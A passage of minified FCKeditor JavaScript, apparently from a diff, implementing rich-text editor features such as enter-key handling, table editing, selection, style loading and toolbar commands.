D=B.CheckEndOfBlock();var E=B.StartBlock?B.StartBlock.tagName.toUpperCase():'';var F=this._HasShift;if (!F&&E=='LI') return this._ExecuteEnterBlock(null);if (!F&&D&&(/^H[1-6]$/).test(E)){FCKDebug.Output('BR - Header');FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createElement('br'));if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createTextNode(''));B.SetStart(B.StartBlock.nextSibling,FCKBrowserInfo.IsIE?3:1);}else{FCKDebug.Output('BR - No Header');var G=this.Window.document.createElement('br');B.InsertNode(G);if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(G,this.Window.document.createTextNode(''));if (D&&FCKBrowserInfo.IsGecko){var H=FCKDomTools.GetLastChild(G.parentNode,'BR');if (H&&H.getAttribute('type',2)!='_moz') G.parentNode.appendChild(FCKTools.CreateBogusBR(this.Window.document));};if (FCKBrowserInfo.IsIE) B.SetStart(G,4);else B.SetStart(G.nextSibling,1);};B.Collapse(true);B.Select();};B.Release();return true;};FCKEnterKey.prototype._FixBlock=function(A,B,C){var D=A.CreateBookmark();A.Collapse(B);A.Expand('block_contents');var E=this.Window.document.createElement(C);A.ExtractContents().AppendTo(E);FCKDomTools.TrimNode(E);A.InsertNode(E);A.MoveToBookmark(D);}
+var FCKDocumentProcessor={};FCKDocumentProcessor._Items=[];FCKDocumentProcessor.AppendNew=function(){var A={};this._Items.AddItem(A);return A;};FCKDocumentProcessor.Process=function(A){var B,i=0;while((B=this._Items[i++])) B.ProcessDocument(A);};var FCKDocumentProcessor_CreateFakeImage=function(A,B){var C=FCK.EditorDocument.createElement('IMG');C.className=A;C.src=FCKConfig.FullBasePath+'images/spacer.gif';C.setAttribute('_fckfakelement','true',0);C.setAttribute('_fckrealelement',FCKTempBin.AddElement(B),0);return C;};if (FCKBrowserInfo.IsIE||FCKBrowserInfo.IsOpera){var FCKAnchorsProcessor=FCKDocumentProcessor.AppendNew();FCKAnchorsProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('A');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.name.length>0){if (C.innerHTML!=''){if (FCKBrowserInfo.IsIE) C.className+=' FCK__AnchorC';}else{var D=FCKDocumentProcessor_CreateFakeImage('FCK__Anchor',C.cloneNode(true));D.setAttribute('_fckanchor','true',0);C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}}}};var FCKPageBreaksProcessor=FCKDocumentProcessor.AppendNew();FCKPageBreaksProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('DIV');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.style.pageBreakAfter=='always'&&C.childNodes.length==1&&C.childNodes[0].style&&C.childNodes[0].style.display=='none'){var D=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',C.cloneNode(true));C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKFlashProcessor=FCKDocumentProcessor.AppendNew();FCKFlashProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('EMBED');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.src.EndsWith('.swf',true)){var D=C.cloneNode(true);if (FCKBrowserInfo.IsIE){var E=['scale','play','loop','menu','wmode','quality'];for (var F=0;i<E.length;i++){var G=C.getAttribute(E[F]);if (G) D.setAttribute(E[F],G);}};var H=FCKDocumentProcessor_CreateFakeImage('FCK__Flash',D);H.setAttribute('_fckflash','true',0);FCKFlashProcessor.RefreshView(H,C);C.parentNode.insertBefore(H,C);C.parentNode.removeChild(C);}}};FCKFlashProcessor.RefreshView=function(A,B){if (B.width>0) A.style.width=FCKTools.ConvertHtmlSizeToStyle(B.width);if (B.height>0) A.style.height=FCKTools.ConvertHtmlSizeToStyle(B.height);};FCK.GetRealElement=function(A){var e=FCKTempBin.Elements[A.getAttribute('_fckrealelement')];if (A.getAttribute('_fckflash')){if (A.style.width.length>0) e.width=FCKTools.ConvertStyleSizeToHtml(A.style.width);if (A.style.height.length>0) e.height=FCKTools.ConvertStyleSizeToHtml(A.style.height);};return e;};
+var FCKSelection=FCK.Selection={};
+FCKSelection.GetType=function(){return FCK.EditorDocument.selection.type;};FCKSelection.GetSelectedElement=function(){if (this.GetType()=='Control'){var A=FCK.EditorDocument.selection.createRange();if (A&&A.item) return FCK.EditorDocument.selection.createRange().item(0);}};FCKSelection.GetParentElement=function(){switch (this.GetType()){case 'Control':return FCKSelection.GetSelectedElement().parentElement;case 'None':return null;default:return FCK.EditorDocument.selection.createRange().parentElement();}};FCKSelection.SelectNode=function(A){FCK.Focus();FCK.EditorDocument.selection.empty();var B;try{B=FCK.EditorDocument.body.createControlRange();B.addElement(A);}catch(e){B=FCK.EditorDocument.selection.createRange();B.moveToElementText(A);};B.select();};FCKSelection.Collapse=function(A){FCK.Focus();if (this.GetType()=='Text'){var B=FCK.EditorDocument.selection.createRange();B.collapse(A==null||A===true);B.select();}};FCKSelection.HasAncestorNode=function(A){var B;if (FCK.EditorDocument.selection.type=="Control"){B=this.GetSelectedElement();}else{var C=FCK.EditorDocument.selection.createRange();B=C.parentElement();};while (B){if (B.tagName==A) return true;B=B.parentNode;};return false;};FCKSelection.MoveToAncestorNode=function(A){var B,oRange;if (!FCK.EditorDocument) return null;if (FCK.EditorDocument.selection.type=="Control"){oRange=FCK.EditorDocument.selection.createRange();for (i=0;i<oRange.length;i++){if (oRange(i).parentNode){B=oRange(i).parentNode;break;}}}else{oRange=FCK.EditorDocument.selection.createRange();B=oRange.parentElement();};while (B&&B.nodeName!=A) B=B.parentNode;return B;};FCKSelection.Delete=function(){var A=FCK.EditorDocument.selection;if (A.type.toLowerCase()!="none"){A.clear();};return A;};
+var FCKTableHandler={};FCKTableHandler.InsertRow=function(){var A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=A.cloneNode(true);A.parentNode.insertBefore(B,A);FCKTableHandler.ClearRow(A);};FCKTableHandler.DeleteRows=function(A){if (!A) A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');if (B.rows.length==1){FCKTableHandler.DeleteTable(B);return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteTable=function(A){if (!A){A=FCKSelection.GetSelectedElement();if (!A||A.tagName!='TABLE') A=FCKSelection.MoveToAncestorNode('TABLE');};if (!A) return;FCKSelection.SelectNode(A);FCKSelection.Collapse();A.parentNode.removeChild(A);};FCKTableHandler.InsertColumn=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex+1;for (var i=0;i<B.rows.length;i++){var D=B.rows[i];if (D.cells.length<C) continue;A=D.cells[C-1].cloneNode(false);if (FCKBrowserInfo.IsGecko) A.innerHTML=GECKO_BOGUS;var E=D.cells[C];if (E) D.insertBefore(A,E);else D.appendChild(A);}};FCKTableHandler.DeleteColumns=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex;for (var i=B.rows.length-1;i>=0;i--){var D=B.rows[i];if (C==0&&D.cells.length==1){FCKTableHandler.DeleteRows(D);continue;};if (D.cells[C]) D.removeChild(D.cells[C]);}};FCKTableHandler.InsertCell=function(A){var B=A?A:FCKSelection.MoveToAncestorNode('TD');if (!B) return null;var C=FCK.EditorDocument.createElement('TD');if (FCKBrowserInfo.IsGecko) C.innerHTML=GECKO_BOGUS;if (B.cellIndex==B.parentNode.cells.length-1){B.parentNode.appendChild(C);}else{B.parentNode.insertBefore(C,B.nextSibling);};return C;};FCKTableHandler.DeleteCell=function(A){if (A.parentNode.cells.length==1){FCKTableHandler.DeleteRows(FCKTools.GetElementAscensor(A,'TR'));return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteCells=function(){var A=FCKTableHandler.GetSelectedCells();for (var i=A.length-1;i>=0;i--){FCKTableHandler.DeleteCell(A[i]);}};FCKTableHandler.MergeCells=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length<2) return;if (A[0].parentNode!=A[A.length-1].parentNode) return;var B=isNaN(A[0].colSpan)?1:A[0].colSpan;var C='';var D=FCK.EditorDocument.createDocumentFragment();for (var i=A.length-1;i>=0;i--){var E=A[i];for (var c=E.childNodes.length-1;c>=0;c--){var F=E.removeChild(E.childNodes[c]);if ((F.hasAttribute&&F.hasAttribute('_moz_editor_bogus_node'))||(F.getAttribute&&F.getAttribute('type',2)=='_moz')) continue;D.insertBefore(F,D.firstChild);};if (i>0){B+=isNaN(E.colSpan)?1:E.colSpan;FCKTableHandler.DeleteCell(E);}};A[0].colSpan=B;if (FCKBrowserInfo.IsGecko&&D.childNodes.length==0) A[0].innerHTML=GECKO_BOGUS;else A[0].appendChild(D);};FCKTableHandler.SplitCell=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length!=1) return;var B=this._CreateTableMap(A[0].parentNode.parentNode);var C=FCKTableHandler._GetCellIndexSpan(B,A[0].parentNode.rowIndex,A[0]);var D=this._GetCollumnCells(B,C);for (var i=0;i<D.length;i++){if (D[i]==A[0]){var E=this.InsertCell(A[0]);if (!isNaN(A[0].rowSpan)&&A[0].rowSpan>1) E.rowSpan=A[0].rowSpan;}else{if (isNaN(D[i].colSpan)) D[i].colSpan=2;else D[i].colSpan+=1;}}};FCKTableHandler._GetCellIndexSpan=function(A,B,C){if (A.length<B+1) return null;var D=A[B];for (var c=0;c<D.length;c++){if (D[c]==C) return c;};return null;};FCKTableHandler._GetCollumnCells=function(A,B){var C=[];for (var r=0;r<A.length;r++){var D=A[r][B];if (D&&(C.length==0||C[C.length-1]!=D)) C[C.length]=D;};return C;};FCKTableHandler._CreateTableMap=function(A){var B=A.rows;var r=-1;var C=[];for (var i=0;i<B.length;i++){r++;if (!C[r]) C[r]=[];var c=-1;for (var j=0;j<B[i].cells.length;j++){var D=B[i].cells[j];c++;while (C[r][c]) c++;var E=isNaN(D.colSpan)?1:D.colSpan;var F=isNaN(D.rowSpan)?1:D.rowSpan;for (var G=0;G<F;G++){if (!C[r+G]) C[r+G]=[];for (var H=0;H<E;H++){C[r+G][c+H]=B[i].cells[j];}};c+=E-1;}};return C;};FCKTableHandler.ClearRow=function(A){var B=A.cells;for (var i=0;i<B.length;i++){if (FCKBrowserInfo.IsGecko) B[i].innerHTML=GECKO_BOGUS;else B[i].innerHTML='';}};
+FCKTableHandler.GetSelectedCells=function(){var A=[];var B=FCK.EditorDocument.selection.createRange();var C=FCKSelection.GetParentElement();if (C&&C.tagName.Equals('TD','TH')) A[0]=C;else{C=FCKSelection.MoveToAncestorNode('TABLE');if (C){for (var i=0;i<C.cells.length;i++){var D=FCK.EditorDocument.selection.createRange();D.moveToElementText(C.cells[i]);if (B.inRange(D)||(B.compareEndPoints('StartToStart',D)>=0&&B.compareEndPoints('StartToEnd',D)<=0)||(B.compareEndPoints('EndToStart',D)>=0&&B.compareEndPoints('EndToEnd',D)<=0)){A[A.length]=C.cells[i];}}}};return A;};
+var FCKXml=function(){this.Error=false;};FCKXml.prototype.LoadUrl=function(A){this.Error=false;var B=FCKTools.CreateXmlObject('XmlHttp');if (!B){this.Error=true;return;};B.open("GET",A,false);B.send(null);if (B.status==200||B.status==304) this.DOMDocument=B.responseXML;else if (B.status==0&&B.readyState==4){this.DOMDocument=FCKTools.CreateXmlObject('DOMDocument');this.DOMDocument.async=false;this.DOMDocument.resolveExternals=false;this.DOMDocument.loadXML(B.responseText);}else{this.DOMDocument=null;};if (this.DOMDocument==null||this.DOMDocument.firstChild==null){this.Error=true;if (window.confirm('Error loading "'+A+'"\r\nDo you want to see more info?')) alert('URL requested: "'+A+'"\r\nServer response:\r\nStatus: '+B.status+'\r\nResponse text:\r\n'+B.responseText);}};FCKXml.prototype.SelectNodes=function(A,B){if (this.Error) return [];if (B) return B.selectNodes(A);else return this.DOMDocument.selectNodes(A);};FCKXml.prototype.SelectSingleNode=function(A,B){if (this.Error) return null;if (B) return B.selectSingleNode(A);else return this.DOMDocument.selectSingleNode(A);}
+var FCKStyleDef=function(A,B){this.Name=A;this.Element=B.toUpperCase();this.IsObjectElement=FCKRegexLib.ObjectElements.test(this.Element);this.Attributes={};};FCKStyleDef.prototype.AddAttribute=function(A,B){this.Attributes[A]=B;};FCKStyleDef.prototype.GetOpenerTag=function(){var s='<'+this.Element;for (var a in this.Attributes) s+=' '+a+'="'+this.Attributes[a]+'"';return s+'>';};FCKStyleDef.prototype.GetCloserTag=function(){return '</'+this.Element+'>';};FCKStyleDef.prototype.RemoveFromSelection=function(){if (FCKSelection.GetType()=='Control') this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement());else this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement());}
+FCKStyleDef.prototype.ApplyToSelection=function(){var A=FCK.ToolbarSet.CurrentInstance.EditorDocument.selection;if (A.type=='Text'){var B=A.createRange();var e=document.createElement(this.Element);e.innerHTML=B.htmlText;this._AddAttributes(e);this._RemoveDuplicates(e);B.pasteHTML(e.outerHTML);}else if (A.type=='Control'){var C=FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement();if (C.tagName==this.Element) this._AddAttributes(C);}};FCKStyleDef.prototype._AddAttributes=function(A){for (var a in this.Attributes){switch (a.toLowerCase()){case 'style':A.style.cssText=this.Attributes[a];break;case 'class':A.setAttribute('className',this.Attributes[a],0);break;case 'src':A.setAttribute('_fcksavedurl',this.Attributes[a],0);default:A.setAttribute(a,this.Attributes[a],0);}}};FCKStyleDef.prototype._RemoveDuplicates=function(A){for (var i=0;i<A.children.length;i++){var B=A.children[i];this._RemoveDuplicates(B);if (this.IsEqual(B)) FCKTools.RemoveOuterTags(B);}};FCKStyleDef.prototype.IsEqual=function(e){if (e.tagName!=this.Element) return false;for (var a in this.Attributes){switch (a.toLowerCase()){case 'style':if (e.style.cssText.toLowerCase()!=this.Attributes[a].toLowerCase()) return false;break;case 'class':if (e.getAttribute('className',0)!=this.Attributes[a]) return false;break;default:if (e.getAttribute(a,0)!=this.Attributes[a]) return false;}};return true;};FCKStyleDef.prototype._RemoveMe=function(A){if (!A) return;var B=A.parentElement;if (this.IsEqual(A)){if (this.IsObjectElement){for (var a in this.Attributes){switch (a.toLowerCase()){case 'class':A.removeAttribute('className',0);break;default:A.removeAttribute(a,0);}};return;}else FCKTools.RemoveOuterTags(A);};this._RemoveMe(B);}
+var FCKStylesLoader=function(){this.Styles={};this.StyleGroups={};this.Loaded=false;this.HasObjectElements=false;};FCKStylesLoader.prototype.Load=function(A){var B=new FCKXml();B.LoadUrl(A);var C=B.SelectNodes('Styles/Style');for (var i=0;i<C.length;i++){var D=C[i].attributes.getNamedItem('element').value.toUpperCase();var E=new FCKStyleDef(C[i].attributes.getNamedItem('name').value,D);if (E.IsObjectElement) this.HasObjectElements=true;var F=B.SelectNodes('Attribute',C[i]);for (var j=0;j<F.length;j++){var G=F[j].attributes.getNamedItem('name').value;var H=F[j].attributes.getNamedItem('value').value;if (G.toLowerCase()=='style'){var I=document.createElement('SPAN');I.style.cssText=H;H=I.style.cssText;};E.AddAttribute(G,H);};this.Styles[E.Name]=E;var J=this.StyleGroups[D];if (J==null){this.StyleGroups[D]=[];J=this.StyleGroups[D];};J[J.length]=E;};this.Loaded=true;}
+var FCKNamedCommand=function(A){this.Name=A;};FCKNamedCommand.prototype.Execute=function(){FCK.ExecuteNamedCommand(this.Name);};FCKNamedCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);};
+var FCKDialogCommand=function(A,B,C,D,E,F,G){this.Name=A;this.Title=B;this.Url=C;this.Width=D;this.Height=E;this.GetStateFunction=F;this.GetStateParam=G;this.Resizable=false;};FCKDialogCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_'+this.Name,this.Title,this.Url,this.Width,this.Height,null,null,this.Resizable);};FCKDialogCommand.prototype.GetState=function(){if (this.GetStateFunction) return this.GetStateFunction(this.GetStateParam);else return 0;};var FCKUndefinedCommand=function(){this.Name='Undefined';};FCKUndefinedCommand.prototype.Execute=function(){alert(FCKLang.NotImplemented);};FCKUndefinedCommand.prototype.GetState=function(){return 0;};var FCKFontNameCommand=function(){this.Name='FontName';};FCKFontNameCommand.prototype.Execute=function(A){if (A==null||A==""){}else FCK.ExecuteNamedCommand('FontName',A);};FCKFontNameCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontName');};var FCKFontSizeCommand=function(){this.Name='FontSize';};FCKFontSizeCommand.prototype.Execute=function(A){if (typeof(A)=='string') A=parseInt(A,10);if (A==null||A==''){FCK.ExecuteNamedCommand('FontSize',3);}else FCK.ExecuteNamedCommand('FontSize',A);};FCKFontSizeCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontSize');};var FCKFormatBlockCommand=function(){this.Name='FormatBlock';};FCKFormatBlockCommand.prototype.Execute=function(A){if (A==null||A=='') FCK.ExecuteNamedCommand('FormatBlock','<P>');else if (A=='div'&&FCKBrowserInfo.IsGecko) FCK.ExecuteNamedCommand('FormatBlock','div');else FCK.ExecuteNamedCommand('FormatBlock','<'+A+'>');};FCKFormatBlockCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FormatBlock');};var FCKPreviewCommand=function(){this.Name='Preview';};FCKPreviewCommand.prototype.Execute=function(){FCK.Preview();};FCKPreviewCommand.prototype.GetState=function(){return 0;};var FCKSaveCommand=function(){this.Name='Save';};FCKSaveCommand.prototype.Execute=function(){var A=FCK.GetParentForm();if (typeof(A.onsubmit)=='function'){var B=A.onsubmit();if (B!=null&&B===false) return;};A.submit();};FCKSaveCommand.prototype.GetState=function(){return 0;};var FCKNewPageCommand=function(){this.Name='NewPage';};FCKNewPageCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();FCK.SetHTML('');FCKUndo.Typing=true;};FCKNewPageCommand.prototype.GetState=function(){return 0;};var FCKSourceCommand=function(){this.Name='Source';};FCKSourceCommand.prototype.Execute=function(){if (FCKConfig.SourcePopup){var A=FCKConfig.ScreenWidth*0.65;var B=FCKConfig.ScreenHeight*0.65;FCKDialog.OpenDialog('FCKDialog_Source',FCKLang.Source,'dialog/fck_source.html',A,B,null,null,true);}else FCK.SwitchEditMode();};FCKSourceCommand.prototype.GetState=function(){return (FCK.EditMode==0?0:1);};var FCKUndoCommand=function(){this.Name='Undo';};FCKUndoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Undo();else FCK.ExecuteNamedCommand('Undo');};FCKUndoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckUndoState()?0:-1);else return FCK.GetNamedCommandState('Undo');};var FCKRedoCommand=function(){this.Name='Redo';};FCKRedoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Redo();else FCK.ExecuteNamedCommand('Redo');};FCKRedoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckRedoState()?0:-1);else return FCK.GetNamedCommandState('Redo');};var FCKPageBreakCommand=function(){this.Name='PageBreak';};FCKPageBreakCommand.prototype.Execute=function(){var e=FCK.EditorDocument.createElement('DIV');e.style.pageBreakAfter='always';e.innerHTML='<span style="DISPLAY:none">&nbsp;</span>';var A=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',e);A=FCK.InsertElement(A);};FCKPageBreakCommand.prototype.GetState=function(){return 0;};var FCKUnlinkCommand=function(){this.Name='Unlink';};FCKUnlinkCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsGecko){var A=FCK.Selection.MoveToAncestorNode('A');if (A) FCK.Selection.SelectNode(A);};FCK.ExecuteNamedCommand(this.Name);if (FCKBrowserInfo.IsGecko) FCK.Selection.Collapse(true);};FCKUnlinkCommand.prototype.GetState=function(){var A=FCK.GetNamedCommandState(this.Name);if (A==0&&FCK.EditMode==0){var B=FCKSelection.MoveToAncestorNode('A');var C=(B&&B.name.length>0&&B.href.length==0);if (C) A=-1;};return A;};var FCKSelectAllCommand=function(){this.Name='SelectAll';};FCKSelectAllCommand.prototype=new FCKNamedCommand('SelectAll');FCKSelectAllCommand.prototype.GetState=function(){return 0;}
+var FCKSpellCheckCommand=function(){this.Name='SpellCheck';this.IsEnabled=(FCKConfig.SpellChecker=='ieSpell'||FCKConfig.SpellChecker=='SpellerPages');};FCKSpellCheckCommand.prototype.Execute=function(){switch (FCKConfig.SpellChecker){case 'ieSpell':this._RunIeSpell();break;case 'SpellerPages':FCKDialog.OpenDialog('FCKDialog_SpellCheck','Spell Check','dialog/fck_spellerpages.html',440,480);break;}};FCKSpellCheckCommand.prototype._RunIeSpell=function(){try{var A=new ActiveXObject("ieSpell.ieSpellExtension");A.CheckAllLinkedDocuments(FCK.EditorDocument);}catch(e){if(e.number==-2146827859){if (confirm(FCKLang.IeSpellDownload)) window.open(FCKConfig.IeSpellDownloadUrl,'IeSpellDownload');}else alert('Error Loading ieSpell: '+e.message+' ('+e.number+')');}};FCKSpellCheckCommand.prototype.GetState=function(){return this.IsEnabled?0:-1;}
+var FCKTextColorCommand=function(A){this.Name=A=='ForeColor'?'TextColor':'BGColor';this.Type=A;var B;if (FCKBrowserInfo.IsIE) B=window;else if (FCK.ToolbarSet._IFrame) B=FCKTools.GetElementWindow(FCK.ToolbarSet._IFrame);else B=window.parent;this._Panel=new FCKPanel(B,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._Panel.MainNode.className='FCK_Panel';this._CreatePanelBody(this._Panel.Document,this._Panel.MainNode);FCKTools.DisableSelection(this._Panel.Document.body);};FCKTextColorCommand.prototype.Execute=function(A,B,C){FCK._ActiveColorPanelType=this.Type;this._Panel.Show(A,B,C);};FCKTextColorCommand.prototype.SetColor=function(A){if (FCK._ActiveColorPanelType=='ForeColor') FCK.ExecuteNamedCommand('ForeColor',A);else if (FCKBrowserInfo.IsGeckoLike){if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,false);FCK.ExecuteNamedCommand('hilitecolor',A);if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,true);}else FCK.ExecuteNamedCommand('BackColor',A);delete FCK._ActiveColorPanelType;};FCKTextColorCommand.prototype.GetState=function(){return 0;};function FCKTextColorCommand_OnMouseOver()      { this.className='ColorSelected';};function FCKTextColorCommand_OnMouseOut()    { this.className='ColorDeselected';};function FCKTextColorCommand_OnClick(){this.className='ColorDeselected';this.Command.SetColor('#'+this.Color);this.Command._Panel.Hide();};function FCKTextColorCommand_AutoOnClick(){this.className='ColorDeselected';this.Command.SetColor('');this.Command._Panel.Hide();};function FCKTextColorCommand_MoreOnClick(){this.className='ColorDeselected';this.Command._Panel.Hide();FCKDialog.OpenDialog('FCKDialog_Color',FCKLang.DlgColorTitle,'dialog/fck_colorselector.html',400,330,this.Command.SetColor);};FCKTextColorCommand.prototype._CreatePanelBody=function(A,B){function CreateSelectionDiv(){var C=A.createElement("DIV");C.className='ColorDeselected';C.onmouseover=FCKTextColorCommand_OnMouseOver;C.onmouseout=FCKTextColorCommand_OnMouseOut;return C;};var D=B.appendChild(A.createElement("TABLE"));D.className='ForceBaseFont';D.style.tableLayout='fixed';D.cellPadding=0;D.cellSpacing=0;D.border=0;D.width=150;var E=D.insertRow(-1).insertCell(-1);E.colSpan=8;var C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table cellspacing="0" cellpadding="0" width="100%" border="0">\n                       <tr>\n                          <td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\n                             <td nowrap width="100%" align="center">'+FCKLang.ColorAutomatic+'</td>\n                        </tr>\n         </table>';C.Command=this;C.onclick=FCKTextColorCommand_AutoOnClick;var G=FCKConfig.FontColors.toString().split(',');var H=0;while (H<G.length){var I=D.insertRow(-1);for (var i=0;i<8&&H<G.length;i++,H++){C=I.insertCell(-1).appendChild(CreateSelectionDiv());C.Color=G[H];C.innerHTML='<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #'+G[H]+'"></div></div>';C.Command=this;C.onclick=FCKTextColorCommand_OnClick;}};E=D.insertRow(-1).insertCell(-1);E.colSpan=8;C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">'+FCKLang.ColorMoreColors+'</td></tr></table>';C.Command=this;C.onclick=FCKTextColorCommand_MoreOnClick;}
+var FCKPastePlainTextCommand=function(){this.Name='PasteText';};FCKPastePlainTextCommand.prototype.Execute=function(){FCK.PasteAsPlainText();};FCKPastePlainTextCommand.prototype.GetState=function(){return FCK.GetNamedCommandState('Paste');};
+var FCKPasteWordCommand=function(){this.Name='PasteWord';};FCKPasteWordCommand.prototype.Execute=function(){FCK.PasteFromWord();};FCKPasteWordCommand.prototype.GetState=function(){if (FCKConfig.ForcePasteAsPlainText) return -1;else return FCK.GetNamedCommandState('Paste');};
+var FCKTableCommand=function(A){this.Name=A;};FCKTableCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();switch (this.Name){case 'TableInsertRow':FCKTableHandler.InsertRow();break;case 'TableDeleteRows':FCKTableHandler.DeleteRows();break;case 'TableInsertColumn':FCKTableHandler.InsertColumn();break;case 'TableDeleteColumns':FCKTableHandler.DeleteColumns();break;case 'TableInsertCell':FCKTableHandler.InsertCell();break;case 'TableDeleteCells':FCKTableHandler.DeleteCells();break;case 'TableMergeCells':FCKTableHandler.MergeCells();break;case 'TableSplitCell':FCKTableHandler.SplitCell();break;case 'TableDelete':FCKTableHandler.DeleteTable();break;default:alert(FCKLang.UnknownCommand.replace(/%1/g,this.Name));}};FCKTableCommand.prototype.GetState=function(){return 0;}
+var FCKStyleCommand=function(){this.Name='Style';this.StylesLoader=new FCKStylesLoader();this.StylesLoader.Load(FCKConfig.StylesXmlPath);this.Styles=this.StylesLoader.Styles;};FCKStyleCommand.prototype.Execute=function(A,B){FCKUndo.SaveUndoStep();if (B.Selected) B.Style.RemoveFromSelection();else B.Style.ApplyToSelection();FCKUndo.SaveUndoStep();FCK.Focus();FCK.Events.FireEvent("OnSelectionChange");};FCKStyleCommand.prototype.GetState=function(){if (!FCK.EditorDocument) return -1;var A=FCK.EditorDocument.selection;if (FCKSelection.GetType()=='Control'){var e=FCKSelection.GetSelectedElement();if (e) return this.StylesLoader.StyleGroups[e.tagName]?0:-1;};return 0;};FCKStyleCommand.prototype.GetActiveStyles=function(){var A=[];if (FCKSelection.GetType()=='Control') this._CheckStyle(FCKSelection.GetSelectedElement(),A,false);else this._CheckStyle(FCKSelection.GetParentElement(),A,true);return A;};FCKStyleCommand.prototype._CheckStyle=function(A,B,C){if (!A) return;if (A.nodeType==1){var D=this.StylesLoader.StyleGroups[A.tagName];if (D){for (var i=0;i<D.length;i++){if (D[i].IsEqual(A)) B[B.length]=D[i];}}};if (C) this._CheckStyle(A.parentNode,B,C);}
+var FCKFitWindow=function(){this.Name='FitWindow';};FCKFitWindow.prototype.Execute=function(){var A=window.frameElement;var B=A.style;var C=parent;var D=C.document.documentElement;var E=C.document.body;var F=E.style;var G;if (!this.IsMaximized){if(FCKBrowserInfo.IsIE) C.attachEvent('onresize',FCKFitWindow_Resize);else C.addEventListener('resize',FCKFitWindow_Resize,true);this._ScrollPos=FCKTools.GetScrollPosition(C);G=A;while((G=G.parentNode)){if (G.nodeType==1) G._fckSavedStyles=FCKTools.SaveStyles(G);};if (FCKBrowserInfo.IsIE){this.documentElementOverflow=D.style.overflow;D.style.overflow='hidden';F.overflow='hidden';}else{F.overflow='hidden';F.width='0px';F.height='0px';};this._EditorFrameStyles=FCKTools.SaveStyles(A);var H=FCKTools.GetViewPaneSize(C);B.position="absolute";B.zIndex=FCKConfig.FloatingPanelsZIndex-1;B.left="0px";B.top="0px";B.width=H.Width+"px";B.height=H.Height+"px";if (!FCKBrowserInfo.IsIE){B.borderRight=B.borderBottom="9999px solid white";B.backgroundColor="white";};C.scrollTo(0,0);this.IsMaximized=true;}else{if(FCKBrowserInfo.IsIE) C.detachEvent("onresize",FCKFitWindow_Resize);else C.removeEventListener("resize",FCKFitWindow_Resize,true);G=A;while((G=G.parentNode)){if (G._fckSavedStyles){FCKTools.RestoreStyles(G,G._fckSavedStyles);G._fckSavedStyles=null;}};if (FCKBrowserInfo.IsIE) D.style.overflow=this.documentElementOverflow;FCKTools.RestoreStyles(A,this._EditorFrameStyles);C.scrollTo(this._ScrollPos.X,this._ScrollPos.Y);this.IsMaximized=false;};FCKToolbarItems.GetItem('FitWindow').RefreshState();FCK.EditingArea.MakeEditable();FCK.Focus();};FCKFitWindow.prototype.GetState=function(){if (FCKConfig.ToolbarLocation!='In') return -1;else return (this.IsMaximized?1:0);};function FCKFitWindow_Resize(){var A=FCKTools.GetViewPaneSize(parent);var B=window.frameElement.style;B.width=A.Width+'px';B.height=A.Height+'px';};
